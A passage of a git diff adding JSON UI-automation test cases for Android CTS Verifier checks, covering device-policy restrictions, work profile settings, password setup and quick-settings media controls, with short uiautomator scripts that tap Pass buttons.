content\",\"actionId\":\"c2c0d8c0-6be6-4138-8f62-24eb325cb200\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Show all notification content\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"21b6aef1-c2dc-4e5c-ba07-2568305f913e\",\"f8c6a354-e3b8-4d7e-9af8-04dd7bb46c1e\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"b536fdd6-7401-41b9-89c0-fe8139b3b8c3\",\"ae854f18-e336-4528-8a28-5ff09ee9fab4\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"7f7ffcba-8421-4533-98ad-c9b443b3be88\",\"9056de71-3a39-4fe8-ab4a-9083c41e482a\",\"c8eb6efb-41bd-4159-98e1-12f5dcb15493\",\"c2c0d8c0-6be6-4138-8f62-24eb325cb200\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-23-Disallow lockscreen unredacted notification","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.154000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f67dea91-f1e8-4f94-a80f-2374f15cb791 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f67dea91-f1e8-4f94-a80f-2374f15cb791
new file mode 100644
index 0000000..9028663
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f67dea91-f1e8-4f94-a80f-2374f15cb791
@@ -0,0 +1 @@
+{"uuid":"f67dea91-f1e8-4f94-a80f-2374f15cb791","details":"{\"type\":\"CompoundAction\",\"name\":\"15-12-Disallow install unknown sources\",\"actionId\":\"f67dea91-f1e8-4f94-a80f-2374f15cb791\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-12-Disallow install unknown sources","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.135000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f89554c3-fe5e-4a96-aa56-261a920a689a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f89554c3-fe5e-4a96-aa56-261a920a689a
new file mode 100644
index 0000000..d777e5a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f89554c3-fe5e-4a96-aa56-261a920a689a
@@ -0,0 +1 @@
+{"uuid":"f89554c3-fe5e-4a96-aa56-261a920a689a","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if Sample Instant App for Testing exists\",\"actionId\":\"f89554c3-fe5e-4a96-aa56-261a920a689a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Sample Instant App for Testing exists\",\"actionId\":\"f85838de-f882-4371-ad6a-3171e2c43406\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Sample Instant App for Testing\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8499d36f-64d1-46d0-8acb-8233ad98a4d6\",\"displayText\":\"Sample Instant App for Testing\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7dd2e523-a18d-47d1-8bf5-9fa4de4f8510\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.google.android.apps.nexuslauncher:id/snapshot\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":42.0,\"y1\":73.0,\"x2\":318.0,\"y2\":604.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"d5b5bc93-6f5a-4b93-8ae0-06a27b61fad2\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.google.android.apps.nexuslauncher:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":159.0,\"y1\":52.0,\"x2\":201.0,\"y2\":94.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"contentDesc\":\"Sample Instant App for Testing\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":42.0,\"y1\":52.0,\"x2\":318.0,\"y2\":604.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":146.0,\"y\":88.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":34.0,\"y\":239.875,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"8499d36f-64d1-46d0-8acb-8233ad98a4d6\",\"firstText\":\"Sample Instant App for Testing\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Sample Instant App for Testing\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":48.0,\"y1\":73.0,\"x2\":244.0,\"y2\":104.0}}],\"childrenIdList\":[\"f85838de-f882-4371-ad6a-3171e2c43406\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if Sample Instant App for Testing exists","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.057000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f94a4fd0-90ed-46b2-bd68-e769b2b4175c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f94a4fd0-90ed-46b2-bd68-e769b2b4175c
new file mode 100644
index 0000000..6f5f391
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f94a4fd0-90ed-46b2-bd68-e769b2b4175c
@@ -0,0 +1 @@
+{"uuid":"f94a4fd0-90ed-46b2-bd68-e769b2b4175c","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Open Application Settings\\\" button\",\"actionId\":\"f94a4fd0-90ed-46b2-bd68-e769b2b4175c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/open_settings\",\"actionId\":\"b0af5a7a-c541-4c72-b9f1-96d5787fca9c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/open_settings\"}],\"childrenIdList\":[\"b0af5a7a-c541-4c72-b9f1-96d5787fca9c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Open Application Settings\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.112000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f9a2bad7-a95c-4899-a5a1-c5eb32932abf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f9a2bad7-a95c-4899-a5a1-c5eb32932abf
new file mode 100644
index 0000000..7b87088
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f9a2bad7-a95c-4899-a5a1-c5eb32932abf
@@ -0,0 +1 @@
+{"uuid":"f9a2bad7-a95c-4899-a5a1-c5eb32932abf","details":"{\"type\":\"CompoundAction\",\"name\":\"Make sure the work profile location switch on before test\",\"actionId\":\"f9a2bad7-a95c-4899-a5a1-c5eb32932abf\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Turn work profile location switch on\",\"actionId\":\"10c5d033-3cba-4952-923e-5345b7bb7d42\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Location for work profile\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"Location for work profile\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"10c5d033-3cba-4952-923e-5345b7bb7d42\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Make sure the work profile location switch on before test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.288000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f9ed0da0-0e19-4117-8b66-467e80d9285c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f9ed0da0-0e19-4117-8b66-467e80d9285c
new file mode 100644
index 0000000..d00c744
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f9ed0da0-0e19-4117-8b66-467e80d9285c
@@ -0,0 +1 @@
+{"uuid":"f9ed0da0-0e19-4117-8b66-467e80d9285c","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if set Password screen appear, set password to \\\"a1688\\\"\",\"actionId\":\"f9ed0da0-0e19-4117-8b66-467e80d9285c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if set Password screen appear\",\"actionId\":\"4ae4e855-d59c-4efa-acdd-8e7090b597af\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"For security, set password\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b27f6737-1476-4839-8427-0366a01d47ad\",\"displayText\":\"For security, set password\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/sud_layout_description\",\"text\":\"For security, set password\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":172.0,\"x2\":339.0,\"y2\":211.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":186.0,\"y\":176.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.0,\"y\":15.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b27f6737-1476-4839-8427-0366a01d47ad\",\"firstText\":\"For security, set password\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"For security, set password\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":91.0,\"y1\":160.0,\"x2\":281.0,\"y2\":192.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"c851bc7c-f698-4a13-bdb2-0230e43c82af\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"2d2cb40e-905a-4e07-a19c-844c9c19a726\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"4ae4e855-d59c-4efa-acdd-8e7090b597af\",\"c9423320-3e9d-40ed-8a84-957a48931121\",\"c851bc7c-f698-4a13-bdb2-0230e43c82af\",\"c9423320-3e9d-40ed-8a84-957a48931121\",\"2d2cb40e-905a-4e07-a19c-844c9c19a726\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if set Password screen appear, set password to \"a1688\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.268000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fa171789-d776-46b6-ac6f-39961c4c3414 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fa171789-d776-46b6-ac6f-39961c4c3414
new file mode 100644
index 0000000..9522f61
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fa171789-d776-46b6-ac6f-39961c4c3414
@@ -0,0 +1 @@
+{"uuid":"fa171789-d776-46b6-ac6f-39961c4c3414","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Set restriction\\\" button\",\"actionId\":\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Set restriction\",\"actionId\":\"000999c3-2861-4129-8b33-23f0a7a13168\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set restriction\"}],\"childrenIdList\":[\"000999c3-2861-4129-8b33-23f0a7a13168\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Set restriction\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.091000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fa3d7096-4016-48dd-94f4-f199e7a2a978 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fa3d7096-4016-48dd-94f4-f199e7a2a978
new file mode 100644
index 0000000..3edaec8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fa3d7096-4016-48dd-94f4-f199e7a2a978
@@ -0,0 +1 @@
+{"uuid":"fa3d7096-4016-48dd-94f4-f199e7a2a978","details":"{\"type\":\"CompoundAction\",\"name\":\"test_QS Media Controls Test(Check image)\",\"actionId\":\"fa3d7096-4016-48dd-94f4-f199e7a2a978\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to QS Media Controls Test\",\"actionId\":\"36e98444-f9b6-4847-9c51-14129f9a879d\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"QS Media Controls Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"427c0420-515d-427f-a185-784770d67627\",\"displayText\":\"QS Media Controls Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"QS Media Controls Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":265.75,\"x2\":351.25,\"y2\":307.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":88.5,\"y\":290.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":91.5,\"y\":-3.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"427c0420-515d-427f-a185-784770d67627\",\"firstText\":\"QS Media Controls Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"QS Media Controls Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":273.0,\"x2\":175.0,\"y2\":307.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, QS Media Controls Test\",\"actionId\":\"eccf9bf1-0347-4c8b-ad65-22902e111a79\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"QS Media Controls Test\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY the media player contains the strings Song\",\"actionId\":\"81bfd30e-6f7e-4655-8a74-1d22f612c75c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/header_title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Song\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY the media player contains the strings Artist\",\"actionId\":\"40795c4f-5c7d-4cf4-9124-5bb1c6d9873b\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/header_artist\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Artist\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Click Pass button\",\"actionId\":\"52ed673a-8074-494d-8b9c-31c24e199645\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Check that the media player contains the strings Song and Artist.\\\", MatchOption.CONTAINS).down().resource_id(\\\"com.android.cts.verifier:id/iva_action_button_pass\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ScreenCapAction\",\"name\":\"Check that the media player contains a solid yellow image\",\"actionId\":\"b8ac90ea-ff6f-485e-972a-ca6f2b7a2aa6\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"PythonScriptAction\",\"name\":\"Click pass button\",\"actionId\":\"2089c5aa-f57c-45bb-bfec-59d5b36aacb2\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Check that the media player contains a solid yellow image.\\\", MatchOption.CONTAINS).down().resource_id(\\\"com.android.cts.verifier:id/iva_action_button_pass\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY that the media player contains a progress bar showing 6 seconds have elapsed of a one minute long track\",\"actionId\":\"a6e04211-c24d-4393-b5b2-125f33f0af86\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/media_elapsed_time\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"00:06\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY that the media player contains a progress bar showing 6 seconds have elapsed of a one minute long track\",\"actionId\":\"7fb4df7e-5ffc-4d6e-9f41-4caf71637e60\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/media_total_time\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"01:00\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Click pass button\",\"actionId\":\"8ad38071-95c5-44d1-a54c-a8beab7abc56\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Check that the media player contains a progress bar showing 6 seconds have elapsed \\\", MatchOption.CONTAINS).down().resource_id(\\\"com.android.cts.verifier:id/iva_action_button_pass\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"3bdb642f-e9ea-4396-a432-00c2861477ba\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for rewind\",\"actionId\":\"a8caef7d-f176-4064-a58a-c409a814ad71\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"rewind\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c11b2a36-8ec2-4fb2-b324-e39e3310bb51\",\"displayText\":\"rewind\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action0\",\"contentDesc\":\"rewind\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":61.0,\"y1\":546.75,\"x2\":103.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":81.5,\"y\":563.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":0.5,\"y\":4.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"c11b2a36-8ec2-4fb2-b324-e39e3310bb51\",\"firstText\":\"rewind\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"rewind\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":66.0,\"y1\":549.0,\"x2\":97.0,\"y2\":578.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for previous track\",\"actionId\":\"fdbe24d4-5cb7-474a-88de-625b7ae1b65e\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"previous track\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"91fa7489-fb5e-4ba4-b54a-1663b0bdd372\",\"displayText\":\"previous track\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action1\",\"contentDesc\":\"previous track\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":110.0,\"y1\":546.75,\"x2\":152.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":128.5,\"y\":564.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":2.5,\"y\":3.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"91fa7489-fb5e-4ba4-b54a-1663b0bdd372\",\"firstText\":\"previous track\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"previous track\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":117.0,\"y1\":552.0,\"x2\":140.0,\"y2\":576.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for pause\",\"actionId\":\"e8053e0c-f1e6-4452-b0ca-3ffef68a0e25\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"pause\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0d6c4ca5-5218-4689-9c2d-924fe0bf4d49\",\"displayText\":\"pause\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action2\",\"contentDesc\":\"pause\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":159.0,\"y1\":546.75,\"x2\":201.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":177.5,\"y\":566.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":2.5,\"y\":1.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"0d6c4ca5-5218-4689-9c2d-924fe0bf4d49\",\"firstText\":\"pause\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"pause\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":158.0,\"y1\":551.0,\"x2\":197.0,\"y2\":581.0}},{\"type\":\"ScreenC